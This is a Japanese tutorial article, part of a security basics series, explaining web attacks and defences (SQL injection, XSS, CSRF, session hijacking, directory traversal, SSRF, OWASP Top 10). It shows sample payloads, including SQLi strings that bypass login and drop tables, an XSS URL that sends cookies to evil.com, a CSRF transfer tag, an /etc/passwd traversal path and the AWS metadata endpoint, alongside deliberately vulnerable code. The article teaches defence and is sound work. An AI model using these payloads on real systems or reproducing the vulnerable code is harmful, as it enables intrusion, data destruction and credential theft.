0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

🛡️ セキュリティ基礎講座【第三回】Webアプリの攻撃と防御をしっかり理解しよう!

0
Posted at

1. 👋 はじめに

前回は認証・認可・暗号化・ソーシャルエンジニアリングを学びました。

今回はWebアプリケーション開発者が必ず知っておくべき攻撃と防御を解説します!

「SQLインジェクションってよく聞くけど何?」
「XSSとCSRFの違いって何?」
「OWASP Top 10って何のリスト?」

現場で実際に起きている攻撃を理解して、安全なWebアプリを作れるようになりましょう💪

この記事を読めば:

  • ✅ SQLインジェクションの仕組みと対策がわかる
  • ✅ XSS・CSRFの違いと対策がわかる
  • ✅ セッション管理の重要性がわかる
  • ✅ OWASP Top 10の概要がわかる

2. 💉 SQLインジェクション

SQLインジェクションとは?

悪意のあるSQL文を入力として送り込み、データベースを不正操作する攻撃です。
もっとわかりやすく表現すると、「入力欄を使って、アプリに『別の命令』を紛れ込ませる攻撃」 です。
Webアプリの脆弱性の中でも最も危険なもののひとつです。

まずSQLの基礎をおさえよう

SQLインジェクションを理解するには、まずSQLの基本を知っておく必要があります。

-- SELECT文の基本
SELECT * FROM users
WHERE username = 'alice'
AND password = 'password123'

-- 読み方:
-- SELECT *         → すべての列を取得する
-- FROM users       → usersテーブルから
-- WHERE username = 'alice'  → ユーザー名がaliceの行だけ
-- AND password = 'password123' → かつパスワードがpassword123の行だけ
SQLのポイント:
  ' (シングルクォート) = 文字列の区切り文字
  --                    = コメント(以降の文字は無視される)
  OR                    = 「または」の条件
  1=1                   = 常にTRUE(必ず成立する条件)

  → この4つを覚えておくと攻撃コードが読めるようになる!

攻撃の仕組み:ステップで理解する

ステップ①:普通のログイン処理

ユーザーが入力:
  ユーザー名:alice
  パスワード:password123

Webアプリが生成するSQL:
  SELECT * FROM users
  WHERE username = 'alice'
  AND password = 'password123'

DBの判断:
  usersテーブルから
  ユーザー名が 'alice' で
  パスワードが 'password123' の行を探す
  → 見つかった → ログイン成功 ✅

ステップ②:攻撃者が細工した入力を送る

攻撃者が入力:
  ユーザー名:alice' OR '1'='1' --
  パスワード:なんでもOK

Webアプリが生成するSQL:
  SELECT * FROM users
  WHERE username = 'alice' OR '1'='1' --'
  AND password = 'なんでもOK'

ステップ③:SQLがどう解釈されるか分解する

生成されたSQLを分解してみよう:

  WHERE username = 'alice'    ← ① aliceというユーザーを探す
        OR                    ← ② または
        '1'='1'               ← ③ 1=1(常にTRUE!)
        --                    ← ④ ここから先はコメント(無視される)
        '                     ← 無視
  AND password = 'なんでもOK' ← 無視(--より後なので)

結果:
  「aliceというユーザーを探す」または「常にTRUE」
  → OR条件なので全行がTRUEになる!
  → パスワード条件はコメントアウトされて無視!
  → usersテーブルの全ユーザーが返ってくる 😱
  → 最初の1件(多くの場合は管理者)でログイン成功 😱

もっと危険な攻撃

【データの全件取得】

入力:' OR 1=1 --

生成されるSQL:
  SELECT * FROM users WHERE username = '' OR 1=1 --'

分解:
  WHERE username = ''  ← 空のユーザー名(該当なし)
  OR 1=1               ← または常にTRUE!
  → 全行がTRUEになる → 全ユーザー情報が取得できる 😱

被害:
  → 全ユーザーのID・パスワードハッシュ・メールアドレスなどが漏洩

【データの削除(DROP TABLE)】

入力:'; DROP TABLE users; --

生成されるSQL:
  SELECT * FROM users WHERE username = '';
  DROP TABLE users;
  --'

分解:
  SELECT * FROM users WHERE username = '';
  ← ① まず普通のSELECT文を実行
  ; ← SQL文の区切り(ここで1つ目のSQL終了)

  DROP TABLE users;
  ← ② 次にusersテーブルを丸ごと削除! 💀

  -- ← 残りはコメントアウト

被害:
  → ユーザーテーブルが完全に消える
  → 全ユーザーのログインが不可能になる
  → データの完全消失(バックアップがなければ復旧不可)

【他テーブルのデータ取得(UNION攻撃)】

入力:' UNION SELECT username, password FROM admin_users --

生成されるSQL:
  SELECT * FROM users WHERE username = ''
  UNION
  SELECT username, password FROM admin_users --'

分解:
  SELECT * FROM users WHERE username = ''
  ← ① usersから空のユーザー名を検索(結果なし)

  UNION --← 2つのSELECT結果を結合する

  SELECT username, password FROM admin_users
  ← ② 管理者テーブルの全データを取得! 😱

被害:
  → 管理者のID・パスワードハッシュが取得できる
  → 管理者になりすましてシステム全体を乗っ取れる

対策:プリペアドステートメント

💡 プリペアドステートメントとは?

通常のSQL実行:
  「SQLの命令」と「データ」を一緒に送る
  → データの中に命令が混入できてしまう(SQLiの原因)

プリペアドステートメント:
  ① 「SQLの骨格(命令部分)」を先にDBに送る・コンパイルする
  ② 「データ」を後から別途バインドする

  → 命令は先に確定済み!
  → あとで来るのは「データ」だけ
  → データが何であってもSQL命令として解釈されない 🎯
# ❌ 脆弱なコード(文字列結合でSQL生成)
username = request.form['username']
password = request.form['password']
sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(sql)

# ✅ 安全なコード(プリペアドステートメント)
sql = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(sql, (username, password))
# → ユーザーの入力は「データ」として扱われる
# → SQLの「命令」として解釈されない!
プリペアドステートメントの仕組み:

① SQLの「骨格」を先に送る(命令を確定)
  SELECT * FROM users WHERE username = ? AND password = ?
  ↑ この時点でSQLの意味が確定する

② 「?」の部分にデータを別途バインド
  alice, password123

③ DBはデータをSQL命令として解釈しない
  → ' OR '1'='1' を入れても「ただの文字列」として扱われる 🎯
  → 例:username に「alice' OR '1'='1' --」を入れても
         そのまま「alice' OR '1'='1' --」というユーザー名として検索されるだけ

💡 ORMとは?

ORM(Object-Relational Mapper) とは、SQLを直接書かずにプログラムのオブジェクト操作でDBを扱える仕組みです。

ORMなし(SQLを直接書く):
  sql = "SELECT * FROM users WHERE id = ?"
  cursor.execute(sql, (user_id,))

ORMあり(Pythonのコードで書ける):
  user = User.query.filter_by(id=user_id).first()

→ SQLを意識しなくてもDB操作ができる!
🛡️ ORMとSQLインジェクションの関係:

  ほとんどのモダンなフレームワークのORMは
  内部でプリペアドステートメントを使っている!

  Django(Python)   → デフォルトで安全
  Rails(Ruby)      → ActiveRecordが自動対策
  Laravel(PHP)     → Eloquentが自動対策
  Spring(Java)     → JPA/Hibernateが自動対策
  Prisma(Node.js)  → デフォルトで安全

→ ORMを正しく使っている限り
  SQLインジェクションのリスクは大幅に軽減される! 🎉

⚠️ ただし注意が必要な場合もある:
  └─ 生のSQLを書く機能(rawQueryなど)を使うとき
  └─ ORMの機能を意図せず回避してしまうとき
  → ORM使用中でも「生SQL」を書くときは必ずプリペアドステートメントを!

SQLインジェクション対策まとめ

対策 説明
✅ プリペアドステートメント 最も重要・SQLとデータを分離する
✅ ORM の使用 SQLを直接書かずに済む
✅ 入力値のバリデーション 想定外の文字列を弾く
✅ 最小権限のDBユーザー 万が一の被害を最小化
✅ エラーメッセージを隠す DB構造を攻撃者に教えない

3. 📜 XSS(クロスサイトスクリプティング)

XSSとは?

悪意のあるJavaScriptを被害者のブラウザ上で実行させる攻撃です。

攻撃者の目的:
  └─ セッションIDを盗む(クッキーに保存されたセッション情報を窃取してなりすましログイン)
  └─ フィッシングサイトへ誘導
  └─ マルウェアをダウンロードさせる
  └─ キーロガーでパスワードを盗む

反射型XSS(Reflected XSS)

【攻撃の流れ】

① 攻撃者が悪意あるURLを作成
  https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

② URLをメールやSNSで被害者に送る

③ 被害者がURLをクリック

④ example.comがURLのパラメータをそのままページに表示

⑤ 被害者のブラウザでスクリプトが実行される!
  → クッキー情報が攻撃者のサーバーに送られる 😱

蓄積型XSS(Stored XSS)

【攻撃の流れ】

① 攻撃者がコメント欄に悪意あるスクリプトを投稿
  コメント:「いい記事ですね!
  <script>悪意あるコード</script>」

② DBにスクリプトが保存される

③ 他のユーザーがそのページを開く

④ スクリプトが全訪問者のブラウザで実行される 😱
  → 蓄積型はページを見た全員が被害を受ける!

XSSの対策

# ❌ 脆弱なコード(ユーザー入力をそのまま出力)
name = request.args.get('name')
return f"<p>こんにちは、{name}さん!</p>"

# ✅ 安全なコード(HTMLエスケープ)
from html import escape
name = escape(request.args.get('name'))
return f"<p>こんにちは、{name}さん!</p>"

# エスケープの例:
# <script> → &lt;script&gt;
# ブラウザは &lt; を「<」と表示するが
# HTMLタグとして解釈しない!

CSP(コンテンツセキュリティポリシー)

CSP = 「このページでは〇〇からのスクリプトしか実行しない」
という宣言をHTTPヘッダーで送る仕組み

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

→ 外部から注入されたスクリプトはブロックされる!
→ XSSの影響を大幅に軽減できる
対策 説明
✅ 出力時のHTMLエスケープ < > " などを無害化
✅ CSPの設定 信頼できるスクリプトだけ実行を許可
✅ HttpOnly属性 JSからCookieを読み取り不可にする
✅ テンプレートエンジンの活用 自動エスケープ機能を使う

4. 🔄 CSRF(クロスサイトリクエストフォージェリ)

CSRFとは?

ログイン済みのユーザーに意図しないリクエストを送らせる攻撃です。

XSSとの違い:
  XSS  → 悪意あるスクリプトをブラウザで実行させる
  CSRF → ログイン済みの状態を悪用して
         意図しない操作を実行させる

攻撃の仕組み

【シナリオ:銀行サイトへの攻撃】

① 被害者がbank.comにログイン済み
  (ブラウザにセッションクッキーが保存されている)

② 攻撃者が罠サイトを作成
  evil.com のページに以下を仕込む:
  <img src="https://bank.com/transfer?to=attacker&amount=100000">

③ 被害者がevil.comを閲覧

④ ブラウザが自動的にbank.comへリクエストを送信
  → セッションクッキーも一緒に送られる!

⑤ bank.comはログイン済みの正規のリクエストと判断
  → 攻撃者の口座に10万円が振り込まれる 😱

CSRFの対策

✅ CSRFトークン(最も重要な対策)

仕組み:
  ① サーバーがランダムなトークンを生成
  ② フォームに隠しフィールドとして埋め込む
    <input type="hidden" name="csrf_token" value="ランダムな文字列">
  ③ フォーム送信時にトークンも一緒に送る
  ④ サーバーがトークンを検証
     → 一致しなければリクエストを拒否!

なぜ有効?
  悪意あるサイトはトークンの値を知る方法がない
  → 正しいトークンが送れない → リクエストが拒否される 🎯
# FlaskでのCSRFトークン実装例
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
csrf = CSRFProtect(app)

# フォームに自動でCSRFトークンが追加される
対策 説明
✅ CSRFトークン フォームにランダムトークンを埋め込む
✅ SameSite Cookie 他サイトからのリクエストにCookieを送らない
✅ Refererヘッダーの検証 リクエスト元を確認する
✅ 重要操作に再認証 送金などはパスワードを再入力させる

5. 🍪 セッション管理の脆弱性

セッションとクッキーとは?

まず「セッション」と「クッキー」は別々の概念です。混同されやすいので整理しましょう。

🗂️ セッション(Session)
  └─ サーバー側でユーザーの状態を管理する仕組み
  └─ 「誰がログイン中か」「カートに何が入っているか」を
     サーバーのメモリやDBに保存する
  └─ セッションIDで管理(例:abc123xyz)

🍪 クッキー(Cookie)
  └─ ブラウザ側に情報を保存する仕組み
  └─ サーバーが「Set-Cookieヘッダー」で
     ブラウザに保存させる小さなデータ
  └─ 次のリクエストから自動で送信される

【2つの関係】
  サーバー:セッションID「abc123xyz」をセッションに紐づけて保存
      ↓ Set-Cookie: session_id=abc123xyz
  ブラウザ:クッキーにセッションIDを保存
      ↓ Cookie: session_id=abc123xyz(次のリクエストに自動添付)
  サーバー:クッキーのセッションIDで「この人はAliceさん」と識別

→ セッション = サーバー側の状態管理
→ クッキー   = セッションIDをブラウザに保存・送信するための入れ物

セッションの仕組み

HTTPはステートレス(状態を持たない)プロトコル
→ リクエストのたびに「誰?」がわからない

セッションの仕組み:
  ① ログイン成功
  ② サーバーがセッションIDを発行・セッション情報をサーバーに保存
  ③ ブラウザのクッキーにセッションIDを保存
  ④ 以後のリクエストにクッキー経由でセッションIDを添付
  ⑤ サーバーがセッションIDで「この人はAliceさん」と識別

セッションIDは「ログイン状態の鍵」!

セッションハイジャック

😰 セッションIDが盗まれると…

  攻撃者がセッションIDを入手
      ↓
  そのセッションIDを使ってリクエスト
      ↓
  サーバーはAliceさんとして処理してしまう!

セッションIDの盗み方:
  └─ XSSでCookieを盗む
  └─ 通信の盗聴(HTTPSを使っていない場合)
  └─ 推測しやすいセッションIDの総当たり

セッション管理の対策

✅ セッションIDの安全な管理

  □ 十分にランダムなセッションIDを生成(128bit以上)
  □ HTTPS必須(通信経路での盗聴を防ぐ)
  □ Secure属性:HTTPSのみでCookieを送信
  □ HttpOnly属性:JavaScriptからCookieを読み取り不可
  □ SameSite属性:CSRF対策

  Set-Cookie: session_id=abc123; Secure; HttpOnly; SameSite=Strict

  □ ログイン後にセッションIDを再生成(セッション固定攻撃を防ぐ)
  □ 一定時間後にセッションを期限切れにする
  □ ログアウト時にサーバー側のセッションを削除

6. 📂 ディレクトリトラバーサル

攻撃の仕組み

😰 ディレクトリトラバーサルとは?

  Webアプリがファイルパスを外部から受け取る場合
  `../` を使って本来アクセスできない
  ディレクトリのファイルを読み取る攻撃

例:
  正常なリクエスト:
  https://example.com/file?name=report.pdf
  → /var/www/files/report.pdf を返す

  攻撃リクエスト:
  https://example.com/file?name=../../../../etc/passwd
  → /etc/passwd(Linuxのユーザー情報)を返す 😱
  → AWSの認証情報ファイルを読まれる危険も

対策

✅ 対策:
  □ ユーザー入力をファイルパスに直接使わない
  □ パスを正規化して想定ディレクトリ外をブロック
  □ ホワイトリストで許可するファイルを限定する
  □ Webサーバーのプロセスに最小権限を付与

7. 🔓 安全でないデシリアライゼーション

デシリアライゼーションとは?
  オブジェクト(データ構造)を
  バイト列 → 元のオブジェクトに戻す処理

😰 脆弱性の仕組み:
  攻撃者が悪意あるデータをシリアライズして送信
      ↓
  アプリがデシリアライズ
      ↓
  悪意あるコードが実行される!

✅ 対策:
  □ 信頼できないデータのデシリアライズを避ける
  □ JWTなど安全な形式を使う
  □ デシリアライズ前にデータを検証する

8. 🌐 OWASP Top 10

OWASPとは?

OWASP(Open Web Application Security Project) は、Webアプリケーションセキュリティの向上を目的とした非営利組織です。数年ごとに「最も危険なWebアプリの脆弱性Top 10」を発表しています。

OWASP Top 10(2021年版)

順位 カテゴリ 概要
A01 🔓 アクセス制御の不備 権限のないリソースへのアクセスが可能
A02 🔐 暗号化の失敗 機密データが暗号化されていない・弱い暗号
A03 💉 インジェクション SQLi・コマンドインジェクションなど
A04 🏗️ 安全でない設計 セキュリティを考慮しない設計そのものの問題
A05 ⚙️ セキュリティの設定ミス デフォルト設定・不要な機能の有効化など
A06 📦 脆弱なコンポーネント 古いライブラリ・フレームワークの使用
A07 🪪 認証・識別の失敗 弱いパスワード・MFAなし・セッション管理の不備
A08 🔄 ソフトウェアの完全性の失敗 安全でないCI/CDパイプライン・デシリアライゼーション
A09 📋 ログ・監視の失敗 攻撃を検知・記録できない
A10 🌐 SSRF サーバー側からの偽リクエスト

各項目を深掘り

A01:アクセス制御の不備(最も多い脆弱性!)

😰 具体例:

URLを変えるだけで他人のデータが見える
  /user/1001/profile → 自分のプロフィール
  /user/1002/profile → 他人のプロフィールが見える!
  (IDOR:Insecure Direct Object Referenceと呼ばれる)

管理者ページにログインなしでアクセスできる
  /admin/users → 認証なしでユーザー一覧が見える

✅ 対策:
  □ すべてのAPIエンドポイントで認可チェック
  □ デフォルトで「拒否」→ 必要なものだけ許可
  □ ユーザーが自分のデータだけ操作できるか確認

A05:セキュリティの設定ミス

😰 よくある設定ミス:

  □ デフォルトのパスワードを変更していない
  □ 本番環境でデバッグモードが有効
  □ エラーメッセージにスタックトレースを表示
  □ 不要なポートが開放されている
  □ S3バケットが誰でも読み取り可能になっている

✅ 対策:
  □ セキュリティのベースライン設定を決める
  □ 本番・開発環境の設定を分ける
  □ 定期的にセキュリティスキャンを実施

A06:脆弱なコンポーネント

😰 実際に起きた事例:

Log4Shell(2021年):
  Javaのログライブラリ「Log4j」の脆弱性
  → 世界中のサーバーが影響を受けた
  → 修正パッチが出るまでの数日間で
     大量のシステムが攻撃された

なぜ危険?
  └─ 依存ライブラリの脆弱性は
     自分のコードを書き換えても直らない
  └─ どこで使っているかわからないことも

✅ 対策:
  □ 依存パッケージを定期的に更新する
  □ npm audit・pip-audit等でスキャン
  □ SBOM(ソフトウェア部品表)を管理する
  □ GitHub Dependabotなどの自動更新ツールを活用

A10:SSRF(サーバーサイドリクエストフォージェリ)

😰 SSRFとは?
  サーバーに内部ネットワークへのリクエストを
  代理で送らせる攻撃

例:URLプレビュー機能を悪用
  正常:https://example.com のプレビュー画像を取得
  攻撃:http://169.254.169.254/latest/meta-data/
        ↑ AWSのメタデータエンドポイント!
  → サーバーがAWS認証情報を取得して返す 😱

✅ 対策:
  □ URLのホワイトリストを設定
  □ 内部IPアドレス・プライベートIPへのアクセスを拒否
  □ クラウド環境ではIMDSv2を使用(AWSの場合)

9. 🛡️ 安全なWebアプリを作るための原則

① 入力値は信頼しない
  └─ すべてのユーザー入力を検証・サニタイズ
  └─ 「悪意ある入力が来る前提」で設計する

② 出力時にエスケープする
  └─ HTMLに出力するときはHTMLエスケープ
  └─ SQLに渡すときはプリペアドステートメント
  └─ シェルコマンドに渡すときはエスケープ

③ 最小権限を徹底する
  └─ DBユーザーは必要な操作だけ許可
  └─ APIはアクセスできるデータを必要最小限に

④ エラーメッセージに情報を入れない
  └─ 「ユーザーが見つかりません」ではなく
     「IDまたはパスワードが違います」
  └─ スタックトレースを本番で表示しない

⑤ ライブラリ・フレームワークを最新に保つ
  └─ 依存関係の脆弱性は自分のコードと同じくらい危険

10. 🎯 まとめ

攻撃 仕組み 主な対策
💉 SQLインジェクション 悪意あるSQLを入力してDB操作 プリペアドステートメント・ORM
📜 XSS(反射型) 悪意あるURLのスクリプトを実行 HTMLエスケープ・CSP
📜 XSS(蓄積型) DBに保存されたスクリプトを実行 HTMLエスケープ・入力検証
🔄 CSRF ログイン状態を悪用した意図しない操作 CSRFトークン・SameSite Cookie
🍪 セッションハイジャック セッションIDを盗んでなりすまし Secure/HttpOnly属性・HTTPS
📂 ディレクトリトラバーサル ../でシステムファイルを読み取り パスのバリデーション・最小権限
🌐 SSRF サーバーに内部リクエストを代理送信 URLホワイトリスト・内部IPブロック

Webアプリのセキュリティは「攻撃パターンを知ること」が第一歩です。SQLi・XSS・CSRFの3つを理解するだけで、開発時の意識が大きく変わります💪

次回はネットワークセキュリティを解説します!ファイアウォール・IDS/IPS・WAF・DDoS・マルウェアなど、インフラ側のセキュリティを詳しく学びます🌟

💬 質問や感想があれば、コメント欄でお気軽にどうぞ!
👍 役に立ったら、いいね&ストックをお願いします!
🎓 ここまで読んでくださって、本当にありがとうございました!


🔗 シリーズ記事

  • 【第一回】CIA三原則・脅威・脆弱性・リスクをやさしく解説
  • 【第二回】認証・認可・暗号化・ソーシャルエンジニアリング
  • 【第三回】Webアプリケーションの攻撃と防御(この記事)
  • 【第四回】ネットワークセキュリティ(近日公開)
  • 【第五回】セキュリティ設計と運用(近日公開)
  • 【第六回】最新のセキュリティトレンド(近日公開)
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?